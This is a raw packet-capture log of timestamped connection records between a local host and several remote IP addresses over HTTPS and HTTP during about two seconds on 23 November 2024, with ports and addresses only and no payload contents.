Nov 23, 2024 05:03:00.432857990 CET	49935	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:00.450570107 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:00.450889111 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:00.450963020 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:00.451447010 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:00.451937914 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:00.452028036 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:00.452282906 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:00.475367069 CET	443	49935	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:00.480365992 CET	49935	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:00.480390072 CET	443	49935	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:00.495331049 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:00.503022909 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:03:00.503236055 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:03:00.526030064 CET	49935	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:00.560324907 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:03:00.679775953 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:03:00.689136028 CET	443	49931	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:00.690028906 CET	49931	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:00.690047979 CET	443	49931	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:00.690179110 CET	49931	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:00.690185070 CET	443	49931	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:00.693835020 CET	443	49930	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:00.694555044 CET	49930	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:00.694555044 CET	49930	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:00.694572926 CET	443	49930	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:00.694586039 CET	443	49930	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:00.730650902 CET	443	49932	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:00.731344938 CET	49932	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:00.731344938 CET	49932	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:00.731357098 CET	443	49932	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:00.731372118 CET	443	49932	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:00.740375996 CET	443	49929	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:00.740695000 CET	49929	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:00.740705013 CET	443	49929	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:00.741091013 CET	49929	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:00.741096020 CET	443	49929	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:00.826047897 CET	49936	443	192.168.2.6	20.50.80.214
Nov 23, 2024 05:03:00.826119900 CET	443	49936	20.50.80.214	192.168.2.6
Nov 23, 2024 05:03:00.826425076 CET	49936	443	192.168.2.6	20.50.80.214
Nov 23, 2024 05:03:00.826644897 CET	49936	443	192.168.2.6	20.50.80.214
Nov 23, 2024 05:03:00.826668024 CET	443	49936	20.50.80.214	192.168.2.6
Nov 23, 2024 05:03:00.845016003 CET	443	49928	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:00.848381996 CET	443	49928	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:00.848614931 CET	49928	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:00.871637106 CET	49928	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:00.871637106 CET	49928	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:00.871663094 CET	443	49928	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:00.871674061 CET	443	49928	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:00.881377935 CET	49937	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:00.881413937 CET	443	49937	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:00.881495953 CET	49937	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:00.881675005 CET	49937	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:00.881690025 CET	443	49937	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:01.007694006 CET	443	49935	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.007724047 CET	443	49935	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.007734060 CET	443	49935	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.007751942 CET	443	49935	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.007766962 CET	443	49935	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.007777929 CET	443	49935	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.007796049 CET	49935	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.007870913 CET	443	49935	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.007909060 CET	49935	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.007909060 CET	49935	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.007942915 CET	49935	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.009120941 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:03:01.009182930 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:03:01.013566017 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:01.018553972 CET	443	49933	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.018584967 CET	443	49933	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.018591881 CET	443	49933	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.018623114 CET	443	49933	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.018637896 CET	443	49933	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.018647909 CET	443	49933	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.018647909 CET	49933	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.018676043 CET	443	49933	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.018702984 CET	49933	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.018702984 CET	49933	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.018733025 CET	49933	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.036818981 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.036850929 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.036916971 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.036967039 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.037113905 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.091751099 CET	443	49933	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.091769934 CET	443	49933	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.091945887 CET	49933	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.091945887 CET	49933	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.092014074 CET	443	49933	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.092084885 CET	49933	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.097723007 CET	443	49933	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.097795010 CET	49933	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.124209881 CET	443	49935	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.124241114 CET	443	49935	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.124294043 CET	49935	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.124325037 CET	443	49935	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.124349117 CET	443	49935	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.124353886 CET	49935	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.124388933 CET	49935	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.124403000 CET	443	49935	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.124478102 CET	49935	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.133032084 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:01.133117914 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:01.133347034 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:01.136315107 CET	443	49931	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:01.139391899 CET	443	49931	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:01.139470100 CET	49931	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:01.139499903 CET	49931	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:01.139507055 CET	443	49931	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:01.139520884 CET	49931	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:01.139525890 CET	443	49931	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:01.142158031 CET	49939	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:01.142183065 CET	443	49939	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:01.142400026 CET	49939	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:01.142491102 CET	49939	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:01.142507076 CET	443	49939	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:01.142544985 CET	443	49930	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:01.145694017 CET	443	49930	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:01.145735979 CET	443	49930	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:01.145754099 CET	49930	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:01.145792007 CET	49930	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:01.145847082 CET	49930	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:01.145864010 CET	443	49930	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:01.145873070 CET	49930	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:01.145876884 CET	443	49930	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:01.147828102 CET	49940	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:01.147882938 CET	443	49940	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:01.148128986 CET	49940	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:01.148253918 CET	49940	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:01.148323059 CET	443	49940	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:01.160235882 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.160268068 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.160300016 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.160310030 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.160347939 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.160362959 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.164879084 CET	443	49932	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:01.166196108 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.166261911 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.167905092 CET	443	49932	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:01.167959929 CET	49932	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:01.168021917 CET	49932	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:01.168035984 CET	443	49932	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:01.168047905 CET	49932	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:01.168051958 CET	443	49932	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:01.169984102 CET	49941	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:01.170003891 CET	443	49941	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:01.170078039 CET	49941	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:01.170186043 CET	49941	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:01.170202971 CET	443	49941	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:01.191677094 CET	443	49929	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:01.194796085 CET	443	49929	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:01.194852114 CET	49929	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:01.194864035 CET	443	49929	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:01.194916010 CET	443	49929	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:01.194955111 CET	49929	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:01.194972038 CET	443	49929	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:01.194983959 CET	49929	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:01.194988966 CET	443	49929	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:01.194997072 CET	49929	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:01.195000887 CET	443	49929	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:01.197355032 CET	49942	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:01.197391987 CET	443	49942	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:01.197451115 CET	49942	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:01.197644949 CET	49942	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:03:01.197662115 CET	443	49942	13.107.246.63	192.168.2.6
Nov 23, 2024 05:03:01.208887100 CET	443	49935	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.208915949 CET	443	49935	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.209003925 CET	49935	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.209074020 CET	443	49935	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.209111929 CET	49935	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.209136009 CET	49935	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.219841003 CET	443	49933	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.219865084 CET	443	49933	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.219918966 CET	49933	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.219934940 CET	443	49933	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.219965935 CET	49933	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.219985962 CET	49933	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.227999926 CET	49943	443	192.168.2.6	20.50.80.214
Nov 23, 2024 05:03:01.228043079 CET	443	49943	20.50.80.214	192.168.2.6
Nov 23, 2024 05:03:01.228094101 CET	49943	443	192.168.2.6	20.50.80.214
Nov 23, 2024 05:03:01.228812933 CET	49943	443	192.168.2.6	20.50.80.214
Nov 23, 2024 05:03:01.228827000 CET	443	49943	20.50.80.214	192.168.2.6
Nov 23, 2024 05:03:01.247036934 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.247066021 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.247150898 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.247173071 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.247222900 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.247266054 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.252717972 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:01.277246952 CET	443	49933	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.277261972 CET	443	49933	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.277472019 CET	49933	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.277535915 CET	443	49933	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.277620077 CET	49933	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.286531925 CET	443	49933	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.286612988 CET	49933	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.304276943 CET	443	49935	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.304306030 CET	443	49935	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.304363966 CET	49935	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.304439068 CET	443	49935	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.304477930 CET	49935	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.304529905 CET	49935	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.308347940 CET	443	49933	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.308382988 CET	443	49933	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.308428049 CET	49933	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.308448076 CET	443	49933	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.308480978 CET	49933	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.308522940 CET	49933	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.317624092 CET	443	49935	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.317699909 CET	49935	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.321996927 CET	443	49935	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.322069883 CET	49935	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.322083950 CET	443	49935	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.322107077 CET	443	49935	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.322170973 CET	49935	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.322305918 CET	49935	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.322338104 CET	443	49935	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.348413944 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.348439932 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.348489046 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.348515034 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.348545074 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.348656893 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.361289978 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.361356974 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.389169931 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.389198065 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.389235020 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.389250994 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.389281988 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.389338017 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.421027899 CET	443	49933	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.421052933 CET	443	49933	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.421109915 CET	49933	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.421178102 CET	443	49933	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.421214104 CET	49933	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.421502113 CET	49933	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.457608938 CET	443	49933	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.457683086 CET	49933	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.459301949 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.459326982 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.459383011 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.459418058 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.459439039 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.459472895 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.476594925 CET	443	49933	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.476629019 CET	443	49933	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.476701975 CET	443	49933	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.476774931 CET	49933	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.476774931 CET	49933	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.476774931 CET	49933	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.477082968 CET	49933	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.477123022 CET	443	49933	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.536467075 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.536657095 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.551170111 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.551263094 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.551373005 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.551373005 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.551440001 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.566005945 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.566020966 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.566060066 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.566071033 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.566097975 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.583125114 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.583138943 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.583302021 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.583334923 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.587670088 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.587733030 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.587749004 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.602088928 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.602108002 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.602237940 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.602237940 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.602272034 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.651360035 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.668040991 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.668051004 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.668122053 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.668137074 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.668199062 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.668217897 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.668248892 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.673187017 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.673263073 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.705939054 CET	49944	443	192.168.2.6	20.50.80.214
Nov 23, 2024 05:03:01.705971956 CET	443	49944	20.50.80.214	192.168.2.6
Nov 23, 2024 05:03:01.706063986 CET	49944	443	192.168.2.6	20.50.80.214
Nov 23, 2024 05:03:01.706341982 CET	49944	443	192.168.2.6	20.50.80.214
Nov 23, 2024 05:03:01.706353903 CET	443	49944	20.50.80.214	192.168.2.6
Nov 23, 2024 05:03:01.752204895 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.752223969 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.752330065 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.752393961 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.752449036 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.762365103 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.762381077 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.762453079 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.762460947 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.762501955 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.766880035 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.766954899 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.774123907 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.774190903 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.774203062 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.774239063 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.774270058 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.784372091 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.784387112 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.784439087 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.784446001 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.784477949 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.792468071 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.792484045 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.792566061 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.792567968 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.792619944 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.792968988 CET	49934	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:03:01.792999029 CET	443	49934	104.117.182.59	192.168.2.6
Nov 23, 2024 05:03:01.826281071 CET	49945	443	192.168.2.6	20.50.80.214
Nov 23, 2024 05:03:01.826316118 CET	443	49945	20.50.80.214	192.168.2.6
Nov 23, 2024 05:03:01.826503038 CET	49945	443	192.168.2.6	20.50.80.214
Nov 23, 2024 05:03:01.840460062 CET	49945	443	192.168.2.6	20.50.80.214
Nov 23, 2024 05:03:01.840472937 CET	443	49945	20.50.80.214	192.168.2.6
Nov 23, 2024 05:03:02.463757992 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.463788986 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.463855028 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.463855028 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.463979959 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.464046955 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.464061022 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.464063883 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.464087963 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.464097023 CET	49938	80	192.168.2.6	185.215.113.16
Nov 23, 2024 05:03:02.464622974 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.464653015 CET	80	49938	185.215.113.16	192.168.2.6
Nov 23, 2024 05:03:02.464665890 CET	80	49938	185.215.113.16	192.168.2.6
